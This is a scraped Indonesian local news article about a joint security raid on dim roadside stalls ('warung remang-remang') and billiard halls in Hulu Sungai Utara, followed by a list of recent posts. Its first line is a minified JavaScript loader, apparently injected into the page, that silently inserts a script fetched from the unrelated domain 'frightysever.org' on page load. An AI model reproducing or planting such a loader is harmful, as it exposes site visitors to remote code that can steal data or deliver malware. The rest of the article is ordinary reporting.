(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Meresahkan Warga HSU, Warung Remang-remang dan Tempat Biliard Dirazia


AMUNTAI, Puluhan pengunjung warung remang-remang dan tempat biliard diperiksa razia gabungan petugas Satpol PP, Polres, Kodim 1001 Amt/Blg serta Dinas Perhubungan Kabupaten HSU dalam operasi cipta kondisi, Rabu (23/1) malam.

Operasi yang dilakukan untuk memberantas penyakit masyarakat ini digelar di beberapa tempat berbeda seperti tempat biliard, kawasan minim penerangan, dan warung remang-remang.

Hasilnya, satu orang diamankan petugas karena kedapatan menyimpan obat-obatan terlarang yang langsung diamankan untuk dilakukan pemeriksaan lebih lanjut. Meski tidak ada pengunjung yang kedapatan membawa senjata tajam, akan tetapi dari beberapa pengunjung kedapatan tidak memiliki kartu identitas diri (KTP).

Menurut Plt Kepala Satpol PP HSU Sugeng Riyadi mengungkapkan, operasi ini digelar dalam rangka cipta kondisi ketentraman dan ketertiban masyarakat di Kabupaten HSU tetap terjaga.

“Kami sebagai leading sektor bertanggung jawab menciptakan kondisi keamanan, ketentraman dan ketertiban di Hulu Sungai Utara,” katanya.



Razia dimaksudkan untuk menjaga Kabupaten HSU yang bebas dari penyakit sosial masyarakat seperti anak punk, gelandangan, warung remang-remang yang dapat mengurangi kenyamanan di kota Amuntai.

Sugeng mengakui, saat ini warung remang-remang yang beroperasi sangat meresahkan masyarakat dan berpotensi menimbulkan tindak kriminal, sehingga perlu penertiban.

“Kami sudah melaksanakan rapat koordinasi dari berbagai pihak, untuk menyikapi kondisi Kabupaten Hulu Sungai Utara yang makin hari makin marak muncul warung-warung seperti ini berdasarkan dari laporan kepala desa,” bebernya.

Satpol PP HSU sudah memberikan surat peringatan dan himbauan bagi semua warung remang-remangdilarang beroperasi atau berdagang di atas pukul 10 malam, dilarang menggunakan pengeras suara berlebihan, bagi pelayan warung dilarang menggunakan pakaian minim, dilarang menjual obat-obatan dan minuman keras.

“Pemilik warung yang masih melanggar, kami dari pemerintah daerah akan melakukan penutupan sepihak,” tegasnya. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

9 jam ago

May Day di Kuala Kapuas, Pj Bupati Erlin Hardi Jalan Santai Bersama Buruh dan Masyarakat

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More

9 jam ago

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

10 jam ago

Manasik Haji 2024 Ditutup, Ini Pesan Bupati Banjar untuk Jemaah Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More

11 jam ago

D’Bakso Hadir Manjakan Lidah Warga Palangkaraya dengan Ragam Menu Bakso

KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More

11 jam ago

Gelar Rembuk Stunting, Pj Bupati HSU Inginkan Pencegahan Gagal Tumbuh Anak Secara Bersama

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More

12 jam ago

This website uses cookies.